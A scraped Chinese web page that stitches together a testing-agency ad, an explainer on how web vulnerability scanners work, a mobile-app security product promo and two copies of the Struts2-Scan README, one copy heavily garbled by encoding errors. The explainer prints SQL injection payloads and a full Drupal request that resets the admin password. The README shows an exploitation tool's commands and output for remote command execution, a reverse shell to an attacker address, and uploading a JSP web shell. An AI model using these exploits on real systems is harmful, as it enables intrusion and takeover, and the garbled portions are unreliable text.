網站漏洞檢測軟件(系統安全漏洞檢測技術第三方檢測機構)
網站漏洞檢測軟件文章列表:
- 1、系統安全漏洞檢測技術第三方檢測機構
- 2、網安加·百家講壇 | Web漏洞掃描工具原理
- 3、如何低成本的檢測APP存在的漏洞以及風險?
- 4、Struts2鍏ㄦ紡媧炴壂鎻忓埄鐢ㄥ伐鍏?,"video_count":0},"image_detail":[{"url":"https://p3-sign.toutiaoimg.com/large/pgc-image/b299a3df9c9c42bb9f0621377d1c3cb9?_iz=31825&from=article.detail&x-expires=1703746919&x-signature=t5reU%2FE3UIfCtH5xg%2BPYR%2FqvDCY%3D
- 5、怎么檢測Struts2的系列漏洞
系統安全漏洞檢測技術第三方檢測機構
建立一個安全的Web系統一直是很多企業的目標,一個比較實用的方法就是建立比較容易實現的相對安全的系統,同時按照一定的安全策略建立相應的安全輔助系統,系統安全漏洞檢測就是這樣一類安全輔助系統。
系統安全漏洞檢測技術
1、基于應用的檢測技術
采用被動的、非破壞性的辦法檢查應用軟件包的設置,發現系統安全漏洞。
2、基于主機的檢測技術
采用被動的、非破壞性的辦法對系統進行檢測。通常,涉及到系統的內核、文件的屬性、操作系統的補丁等。這種技術還包括口令解密、把一些簡單的口令剔除。因此,這種技術可以非常準確地定位系統的問題,發現系統的漏洞。它的缺點是與平臺相關,升級比較復雜。
3、基于目標的漏洞檢測技術
采用被動的、非破壞性的辦法檢查系統屬性和文件屬性,如數據庫、注冊號等。通過消息文摘算法,對文件的加密數進行檢驗。這種技術的實現是運行在一個閉環上,通過不斷地處理文件、系統目標、系統目標屬性等,然后產生檢驗數,把這些檢驗數同原來的檢驗數進行比較,一旦發現改變就通知管理員。
4、基于網絡的檢測技術
采用積極的、非破壞性的辦法來檢驗系統是否存在有被攻擊崩潰的可能性。利用了一系列的腳本模擬對系統進行攻擊的行為,然后對其結果進行分析。另外還會針對已知的網絡漏洞進行檢驗。網絡檢測技術常被用來進行穿透實驗和安全審記。這種技術可以發現一系列平臺的漏洞,也容易安裝。但是,它可能會影響網絡的性能。
系統安全漏洞檢測作為這樣一類安全輔助系統,通過以上四種漏洞檢測技術,幫助企業實現Web應用安全。提供權威的第三方檢測報告,如:軟件產品登記測試報告(增值稅退稅)、確認測試報告(科技項目驗收、成果鑒定)、信息安全測評服務(Web應用安全檢測、源代碼安全漏洞掃描)等。
軟件測評報告請聯系王經理18684048962,更多資訊請關注公眾號:軟件測評閑聊站
網安加·百家講壇 | Web漏洞掃描工具原理
作者簡介:郭振新,OWASP吉林區域負責人,徑點科技資深研發工程師、VP、安全部門負責人。擁有10年軟件安全和軟件研發經驗,軟件公司安全團隊從0到1的建設經驗。
剛接觸安全的人總會有一些疑問,為什么有Web漏洞掃描工具還要做手動測試?掃描工具里面的rule都寫得好全啊,什么問題類型都有,是不是做完Scan之后就可以保證Web應用程序的絕對安全?本文從掃描工具的原理角度給大家解釋一下這些疑惑。
我們先來討論一下Web漏洞掃描工具都有哪些原理和規則。
一、被動掃描(Passively Scan)
如果有人使用過OWASP ZAP或者Burp Suite掃描,應該會注意到它們的掃描方式中有一項是被動掃描。
那什么時被動掃描呢?被動掃描就是不主動向目標Server發送任何請求,它僅分析現有的經過Burp Suite/ZAP的request和Response的內容,從中推斷出漏洞。僅使用被動技術可以檢測到許多類型的Vulnerabilities。
舉幾個可以用被動掃描發現的問題:
1.Response中不含有各種安全相關的Response header。
2.Response中含有Server的版本號信息等,例如:Server: IIS 10.0
3.前臺組件(例如:jQuery)的版本過低,含有已知問題。
4.分析前端代碼是否含有潛在的XSS等(注意這種分析可能存在一定的誤報率,因為只是分析代碼,并沒有直接重現問題)。
5.Password/PII等隱私信息發現。
6.SSL/TLS證書問題。
7.其它被動可以查到的Vulnerabilities可以在掃描工具的規則配置中找到。
二、對比Response中的數據和行為
除了第一條為被動掃描技術,其余方法都是主動發現漏洞。掃描工具會一遍一遍的將Request中的所有參數替換成對應攻擊的Payload發送到Server,然后查看和對比Server 返回Response中的數據和行為,從而判斷Server是否有Vulnerabilities。畫一張示例圖如下:
對比Response的數據當然很好理解,例如登錄時存在SQL Injection,當用戶名輸入admin" or 1=1時會直接登錄,掃描工具就會比對Response中的數據不同(登錄成功/失敗)從而判斷這里有SQL Injection問題。
那對比行為是怎么理解呢?有些SQL Injection雖然會被執行,但是Response中返回值都是一樣的,這種情況就沒有辦法直接對比數據。這個時候就可以對比行為,還是拿SQL Injeciton舉例,當Payload為UserID=1;waitfor delay '0:0:3'—時,Server返回Response的時間為3秒以上,當Payload改為UserID=1;waitfor delay '0:0:30'—時,Server的返回Response的時間為30秒以上,多次嘗試后掃描工具就會探測出這里有SQL Injection問題。
另外掃描工具還會分析Response中的異常信息,從而判斷內部邏輯,直接報出來,方便攻擊者查看和進行下一步進攻。例如有些異常信息會拋出SQL語句是在哪里拼寫錯誤或拋出整個錯誤的SQL語句,如果異常信息直接打印到Response中時,會加速和幫助攻擊者確認Vulnerability所在。所以盡可能少的外向暴露異常信息很重要。
PS: 解釋一下Payload的意思,直譯有效載荷。簡單說就是一次一次發送給Server的數據。比如SQL Injection的Payload:
1. admin" or 1=1
2. admin" or 1=1--
3. admin" or 1=1#
4. admin" or 1=1/*
不同的攻擊方式都會有不同的Payload,推薦大家看一PayloadAllTheThings(https://github.com/swisskyrepo/PayloadsAllTheThings),里面列出了各種類型的Payload。
三、匹配已知漏洞的技術
這個掃描規則怎么理解呢,有一些Site用了現成的產品來進行二次開發,例如使用WordPress來進行二次發,當使用的WordPress版本有安全問題時,無論二次開發的代碼如何安全也不能避免因為WrodPress本身所含有的漏洞而帶來的安全問題,或者本身使用的Web Server(例如: IIS)就含有安全漏洞等。而這種規則就是為了發現上述問題。
掃描工具的這種規則不會替換所有參數來匹配是否有問題,而是有針對性的發送對應的Request來進行探測,都是一些寫好的Rule來進行匹配。如下截圖就是AWVS中的一些已知安全問題的列表。
舉個例子,像上圖中的Drupal SQL injection,要利用此漏洞的request為如下內容:
POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/Drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
name[0 ;update users set name='owned' , pass = '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid = '1';;# ]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log in
所以掃描工具就會直接將上述Request發送到Server,查看Response中是否有可以被利用的跡象,如果有就說明檢測到了Drupal SQL injection問題。
四、檢測Out-of-Band的技術
上述3種規則,一般的Web Vulnerabilities Scanner都會有,但是下面這兩種規則,只有好一點的Scanner才會有。
檢測Out-of-Band的技術是為了探測某些沒有辦法直接從Response對比中檢測出來Vulnerabilities。例如Blind XSS,Server-side request forgery (SSRF),XML External Entity injection (XXE)等等。
使用檢測Out-of-Band技術的工具有,AWVS的AcuMonitor(https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/),Burp Suite的Burp Collaborator Client(https://portswigger.net/burp/documentation/desktop/tools/collaborator-client)等。
用一個我們熟悉的例子來解釋這種技術。當Site中有一個存儲型XSS時,使用上述解釋的幾種規則就沒有辦法直接探測出來,因為存儲型XSS是在另一個頁面存在XSS漏洞,掃描工具沒有辦法通過存數據的Request來檢測是否含有XSS。但是使用檢測Out-of-Band技術就可以。原理如下圖:
這個例子中XSS還需要頁面觸發,還有一些其它的問題,例如SSRF(控制Server向某個地方發送Request),就比較直接,不需要任何觸發,直接發送Payload到Server,如果有SSRF問題Server會直接將Payload中的地址發送到AcuMonitor中,從而發現問題。
五、交互式應用安全掃描 (IAST)
先來解釋幾個名詞:
1. Dynamic Application Security Testing (DAST):像AWVS,Burp Suite,ZAP這種工具都屬于DAST工具,掃描動態的網站發現安全問題。
2. Static Application Security Testing (SAST):像SonarQube,CheckMarx,Fortify SCA這種工具都屬于SAST工具,靜態掃描源碼發現安全問題。
3. Interactive Application Security Testing (IAST):交互式應用程序安全測試(Interactive Application Security Testing)通過代理、VPN或者在服務端部署Agent程序,收集、監控Web應用程序運行時函數執行、數據傳輸,并與掃描器端進行實時交互,高效、準確的識別安全缺陷及漏洞,同時可準確確定漏洞所在的代碼文件、行數、函數及參數。
IAST是DAST的擴展,也可以理解為是DAST和SAST的融合,以AWVS的AcuSensor的工作原理來解釋,通過在Server端Site中安裝的方式HttpModule的方式來額外從Server端獲取一些信息,從而發現更多的問題和提高掃描的準確度。
當我們需要使用AcuSensor時,需要在對應的測試Site上安裝AcuSensor,安裝好后會在Site中額外多出一個AcuWeaver.dll和在web.config中添加一個HttpModule,應該是通過這個HttpModule來對Server進行額外的探測,因為在Server中會比只在外面掃描獲得更多的有用信息,比如具體執行的sql語句是什么,從而分析出更多的問題。
如下圖為AcuSensor的原理圖:
通過上述介紹后,你是否對Web漏洞掃描工具的工作原理有了一定的了解呢?
然后我們在回頭想一下最初的問題:
?為什么有了Web應用掃描工具還需要做手動測試?
因為掃描工具都是基于Response的返回值進行分析的,如果涉及到邏輯問題(例如權限相關的問題),掃描工具就很難分析出什么樣的行為是合法的,所以類似的問題掃描工具是很難檢測的。
?是不是做完掃描之后就可以保證Web應用程序的絕對安全?
答案當然是不可能。除了上述說的邏輯問題,還有一下兩個原因:
1)首先掃描工具要掃描的request是基于它的自動爬網的結果,而自動爬網的結果往往都不盡如人意(這里我們一般都通過手動點擊頁面的方式來收集request),所以掃描工具不太會掃描到整個應用程序的每個request。
2)另外如果你是一位開發人員,你應該能夠理解,有些API可能內部有很多分支邏輯(if, else, switch, case等等),這些分支邏輯都是基于API傳遞不同參數而執行的,問題在于掃描工具基本不可能覆蓋每一層分支邏輯,這也是掃描工具的局限性。
所以Web應用安全并非交給Web漏洞掃描工具就可以一勞永逸,而是必須通過多種手段和方法來在應用開發的各個階段和維度進行保證,詳細方法不在此贅述。
最后本人并非任何Web漏洞掃描工具的作者,完全是以一個使用者的角度分析了一下掃描工具的原理和局限性,如過大家有任何問題/補充或異議,歡迎一起討論。
- End -
如何低成本的檢測APP存在的漏洞以及風險?
隨著移動互聯網的飛速發展,智能移動終端生產成本的逐漸下降,智能手機在人們學習、工作和生活中的普及率越來越高。手機終端的廣大用戶群體的良好體驗正吸引著越來越多的開發及應用者參與到手機應用程序的開發和使用中來,但是部分免費開源的平臺特性不僅給予了開發者更廣闊的開發空間,也給使用者增加了許多安全隱患,即使有基于自主平臺上開發的移動應用,也由于版本更新慢等原因,遭到黑客攻擊,從而存在一定的安全隱患。
Android和iOS系統作為目前市場最主流的移動操作系統,其應用種類、應用數量都在不斷地增長。Android作為一個開放系統,應用程序的各種安全問題層出不窮,例如安裝包逆向反編譯,惡意代碼注入,應用盜版,界面劫持,短信劫持,輸入監聽等。雖然iOS作為一個封閉系統以安全著稱,但其中已經暴露出多種應用安全漏洞。由于iOS設備已經成為個人信息終端和主流的移動支付工具,其安全問題不容忽視,例如XcodeGhost感染漏洞、iBackDoor漏洞、ZipperDown漏洞、源碼泄露、輸入鍵盤劫持等。移動應用的這些安全問題不僅會泄露用戶的個人信息,甚至會造成應用的知識產權盜用,使得名譽和經濟受損。
當前移動智能終端領域雖然有眾多的安全評測系統,但是大部分都存在識別率不高和效率過低的情況,為了改善此種情況,一個高效、快速并全方位多維度的評測與挖掘移動應用安全隱患系統的研究及研發更顯得很有必要。
功能架構
蠻犀安全移動應用評測系統中功能主要由Web可視化前端、逆向引擎、漏洞庫、風險庫、基礎工具、數據庫以及文件系統組成(如下圖所示),蠻犀安全移動應用評測系統對上傳的移動應用進行包括針對目前移動應用源碼層、應用層、系統層、數據層等,對應用安全弱點進行全面審核,及時發現應用存在的潛在風險與漏洞。
蠻犀科技移動應用安全評測系統
參考依據
蠻犀安全移動應用評測系統主要參考以下相關國家標準以及行業標準進行的研制開發:
1、《GBT22239-2019信息安全技術網絡安全等級保護基本要求》
2、《信息安全技術移動智能終端個人信息保護技術要求》
3、《YD/T 1438-2006 數字移動臺應用層軟件功能要求和測試方法》
4、《YD/T 2307-2011 數字移動通信終端通用功能技術要求和測試方法》
5、《電子銀行業務管理辦法》
6、《電子銀行安全評估指引》
7、《中國金融移動支付客戶端技術規范》
8、《中國金融移動支付應用安全規范》
9、《移動互聯網應用軟件安全評估大綱》
10、《中華人民共和國網絡安全法》
11、《移動互聯網應用程序信息服務管理規定》
主要功能:
1、安全檢測
對病毒、木馬、惡意代碼、敏感權限調用、廣告、惡意扣費等安全特征進行檢測,以及對自身風險、漏洞進行定制化檢測。
2、漏洞掃描
對應用程序進行靜態漏洞掃描,并在模擬器中對應用進行實時漏洞攻擊檢測。
3、風險評估
對可能存在風險隱患的功能調用、系統組件、接口等方面進行安全評估,及時發現潛在風險。
4、解決建議
針對安全檢測系統發現的各類安全問題,提供可靠的安全解決建議。
蠻犀科技移動應用評測系統支持Android、iOS、小程序、SDK、輕應用等多場景。對上傳的移動應用進行包括針對目前移動應用源碼層、應用層、系統層、數據層等,對應用安全弱點進行全面審核,及時發現應用存在的潛在風險與漏洞,針對分析過程中評估標準、評估要點、評估方法、評估結果以及問題解決建議均進行詳細的描述。
Struts2鍏ㄦ紡媧炴壂鎻忓埄鐢ㄥ伐鍏?,"video_count":0},"image_detail":[{"url":"https://p3-sign.toutiaoimg.com/large/pgc-image/b299a3df9c9c42bb9f0621377d1c3cb9?_iz=31825&from=article.detail&x-expires=1703746919&x-signature=t5reU%2FE3UIfCtH5xg%2BPYR%2FqvDCY%3D
鏂囩珷鏉ユ簮錛?緋葷粺瀹夊叏榪愮淮
Struts2-Scan
Struts2婕忔礊鍒╃敤鎵弿宸ュ叿錛屽熀浜庝簰鑱旂綉涓婂凡緇忓叕寮€鐨凷tructs2楂樺嵄婕忔礊exp鐨勬壂鎻忓埄鐢ㄥ伐鍏鳳紝鐩墠鏀寔鐨勬紡媧炲涓? S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057
鏀寔鍗曚釜URL婕忔礊媯€嫻嬪拰鎵歸噺URL媯€嫻嬶紝鑷蟲鎸囧畾婕忔礊鍒╃敤錛屽彲鑾峰彇WEB璺緞錛屾墽琛屽懡浠わ紝鍙嶅脊shell鍜屼笂浼犳枃浠訛紝娉ㄦ剰錛屽茍涓嶆槸鎵€鏈夌殑婕忔礊鍧囨敮鎸佷笂榪板姛鑳斤紝鍙湁閮ㄥ垎鍔熻兘鏀寔
琛岀幆澧僜u003c/h1>
Python3.6.X鍙婂叾浠ヤ笂鐗堟湰
絎笁鏂瑰簱: click, requests, bs4
嫻嬭瘯鐜: Ubuntu 16.04
婕忔礊鐜宸蹭笂浼狅紝鍙傝€冨湴鍧€錛歕u003c/span>
https://github.com/Medicean/VulApps/tree/master/s/struts2/
https://github.com/vulhub/vulhub/tree/master/Struts2
宸ュ叿鍙傛暟璇存槑
Usage: Struts2Scan.py [OPTIONS] Struts2鎵歸噺鎵弿鍒╃敤宸ュ叿Options: -i, --info 婕忔礊淇℃伅浠嬬粛 -v, --version 鏄劇ず宸ュ叿鐗堟湰 -u, --url TEXT URL鍦板潃 -n, --name TEXT 鎸囧畾婕忔礊鍚嶇О, 婕忔礊鍚嶇О璇﹁info -f, --file TEXT 鎵歸噺鎵弿URL鏂囦歡, 涓€琛屼竴涓猆RL -d, --data TEXT POST鍙傛暟, 闇€瑕佷嬌鐢ㄧ殑payload浣跨敤{exp}濉厖, 濡? name=test&passwd={exp} -c, --encode TEXT 欏甸潰緙栫爜, 榛樿UTF-8緙栫爜 -p, --proxy TEXT HTTP浠g悊. 鏍煎紡涓篽ttp://ip:port -t, --timeout TEXT HTTP瓚呮椂鏃墮棿, 榛樿10s -w, --workers TEXT 鎵歸噺鎵弿榪涚▼鏁? 榛樿涓?0涓繘紼媆n --header TEXT HTTP璇鋒眰澶? 鏍煎紡涓? key1=value1&key2=value2 -e, --exec 榪涘叆鍛戒護鎵цshell --webpath 鑾峰彇WEB璺緞 -r, --reverse TEXT 鍙嶅脊shell鍦板潃, 鏍煎紡涓篿p:port --upfile TEXT 闇€瑕佷笂浼犵殑鏂囦歡璺緞鍜屽悕縐癨n --uppath TEXT 涓婁紶鐨勭洰褰曞拰鍚嶇О, 濡? /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 鍏抽棴鎵撳嵃涓嶅瓨鍦ㄦ紡媧炵殑杈撳嚭錛屽彧淇濈暀瀛樺湪婕忔礊鐨勮緭鍑篭n -h, --help Show this message and exit.
浣跨敤渚嬪瓙
鏌ョ湅婕忔礊璇︾粏淇℃伅:
$ python3 Struts2Scan.py --info ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 鏀寔濡備笅Struts2婕忔礊:[ ] S2-001:褰卞搷鐗堟湰Struts 2.0.0-2.0.8; POST璇鋒眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-003:褰卞搷鐗堟湰Struts 2.0.0-2.0.11.2; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔浠繪剰鍛戒護鎵ц[ ] S2-005:褰卞搷鐗堟湰Struts 2.0.0-2.1.8.1; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц[ ] S2-007:褰卞搷鐗堟湰Struts 2.0.0-2.2.3; POST璇鋒眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-008:褰卞搷鐗堟湰Struts 2.1.0-2.3.1; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-009:褰卞搷鐗堟湰Struts 2.0.0-2.3.1.1; GET璇鋒眰鍙戦€佹暟鎹?URL鍚庨潰闇€瑕佽姹傚弬鏁板悕; 榛樿涓? key; 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-012:褰卞搷鐗堟湰Struts Showcase App 2.0.0-2.3.13; GET璇鋒眰鍙戦€佹暟鎹?鍙傛暟鐩存帴娣誨姞鍒癠RL鍚庨潰; 榛樿涓?name; 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-013/S2-014:褰卞搷鐗堟湰Struts 2.0.0-2.3.14.1; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-015:褰卞搷鐗堟湰Struts 2.0.0-2.3.14.2; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-016:褰卞搷鐗堟湰Struts 2.0.0-2.3.15; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-019:褰卞搷鐗堟湰Struts 2.0.0-2.3.15.1; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-029:褰卞搷鐗堟湰Struts 2.0.0-2.3.24.1(闄や簡2.3.20.3); POST璇鋒眰鍙戦€佹暟鎹?闇€瑕佸弬鏁? 榛樿鍙傛暟:message; 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-032:褰卞搷鐗堟湰Struts 2.3.20-2.3.28(闄や簡2.3.20.3鍜?.3.24.3); GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-033:褰卞搷鐗堟湰Struts 2.3.20-2.3.28(闄や簡2.3.20.3鍜?.3.24.3); GET璇鋒眰鍙戦€佹暟鎹? 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-037:褰卞搷鐗堟湰Struts 2.3.20-2.3.28.1; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-045:褰卞搷鐗堟湰Struts 2.3.5-2.3.31,2.5-2.5.10; POST璇鋒眰鍙戦€佹暟鎹?涓嶉渶瑕佸弬鏁? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-046:褰卞搷鐗堟湰Struts 2.3.5-2.3.31,2.5-2.5.10; POST璇鋒眰鍙戦€佹暟鎹?涓嶉渶瑕佸弬鏁? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-048:褰卞搷鐗堟湰Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST璇鋒眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-053:褰卞搷鐗堟湰Struts 2.0.1-2.3.33,2.5-2.5.10; POST璇鋒眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell[ ] S2-devMode:褰卞搷鐗堟湰Struts 2.1.0-2.3.1; GET璇鋒眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠繪剰鍛戒護鎵ц鍜屽弽寮箂hell
鍗曚釜URL婕忔礊媯€嫻?
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 姝e湪鎵弿URL:http://192.168.100.8:8080/index.action[*] ----------------results------------------[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-046[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-016[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-045[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-015[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-009[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-012
鎵歸噺婕忔礊媯€嫻?
$ python3 Struts2Scan.py -f urls.txt
POST鏁版嵁:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}
鎸囧畾婕忔礊鍚嶇О鍒╃敤:
# 鍛戒護鎵ц$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy >>>ls -latotal 136drwxr-sr-x 1 root staff 4096 May 5 2017 .drwxrwsr-x 1 root staff 4096 May 5 2017 ..-rw-r----- 1 root root 57092 Apr 13 2017 LICENSE-rw-r----- 1 root root 1723 Apr 13 2017 NOTICE-rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES-rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txtdrwxr-x--- 1 root root 4096 May 5 2017 bindrwx--S--- 1 root root 4096 Jul 12 14:54 confdrwxr-sr-x 3 root staff 4096 May 5 2017 includedrwxr-x--- 2 root root 4096 May 5 2017 libdrwxr-x--- 1 root root 4096 Jul 12 14:54 logsdrwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-libdrwxr-x--- 2 root root 4096 May 5 2017 tempdrwxr-x--- 1 root root 4096 Jul 12 14:54 webappsdrwxr-x--- 1 root root 4096 Jul 12 14:54 work>>># 鍙嶅脊shll$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888 ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] 璇峰湪鍙嶅脊鍦板潃澶勭洃鍚鍙e: nc -lvvp 8080# 鑾峰彇WEB璺緞$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] /usr/local/tomcat/webapps/ROOT/# 涓婁紶shell$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 鏂囦歡涓婁紶鎴愬姛
怎么檢測Struts2的系列漏洞
Struts2漏洞利用掃描工具,基于互聯網上已經公開的Structs2高危漏洞exp的掃描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057
支持單個URL漏洞檢測和批量URL檢測,至此指定漏洞利用,可獲取WEB路徑,執行命令,反彈shell和上傳文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持
如有錯誤或者問題歡迎大家提問交流,一起解決
運行環境
Python3.6.X及其以上版本
第三方庫: click, requests, bs4
測試環境: Ubuntu 16.04
漏洞環境已上傳,參考地址:
https://github.com/Medicean/VulApps/tree/master/s/struts2/
https://github.com/vulhub/vulhub/tree/master/struts2
工具參數說明
Usage: Struts2Scan.py [OPTIONS] Struts2批量掃描利用工具Options: -i, --info 漏洞信息介紹 -v, --version 顯示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名稱, 漏洞名稱詳見info -f, --file TEXT 批量掃描URL文件, 一行一個URL -d, --data TEXT POST參數, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp} -c, --encode TEXT 頁面編碼, 默認UTF-8編碼 -p, --proxy TEXT HTTP代理. 格式為http://ip:port -t, --timeout TEXT HTTP超時時間, 默認10s -w, --workers TEXT 批量掃描進程數, 默認為10個進程 --header TEXT HTTP請求頭, 格式為: key1=value1&key2=value2 -e, --exec 進入命令執行shell --webpath 獲取WEB路徑 -r, --reverse TEXT 反彈shell地址, 格式為ip:port --upfile TEXT 需要上傳的文件路徑和名稱 --uppath TEXT 上傳的目錄和名稱, 如: /usr/local/tomcat/webapps/root/shell.jsp -q, --quiet 關閉打印不存在漏洞的輸出,只保留存在漏洞的輸出 -h, --help Show this message and exit.
使用例子
查看漏洞詳細信息:
$ python3 Struts2Scan.py --info ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 支持如下Struts2漏洞:[ ] S2-001:影響版本Struts 2.0.0-2.0.8; POST請求發送數據; 默認參數為:username,password; 支持獲取WEB路徑,任意命令執行和反彈shell[ ] S2-003:影響版本Struts 2.0.0-2.0.11.2; GET請求發送數據; 支持任意命令執行[ ] S2-005:影響版本Struts 2.0.0-2.1.8.1; GET請求發送數據; 支持獲取WEB路徑,任意命令執行[ ] S2-007:影響版本Struts 2.0.0-2.2.3; POST請求發送數據; 默認參數為:username,password; 支持任意命令執行和反彈shell[ ] S2-008:影響版本Struts 2.1.0-2.3.1; GET請求發送數據; 支持任意命令執行和反彈shell[ ] S2-009:影響版本Struts 2.0.0-2.3.1.1; GET請求發送數據,URL后面需要請求參數名; 默認為: key; 支持任意命令執行和反彈shell[ ] S2-012:影響版本Struts Showcase App 2.0.0-2.3.13; GET請求發送數據,參數直接添加到URL后面; 默認為:name; 支持任意命令執行和反彈shell[ ] 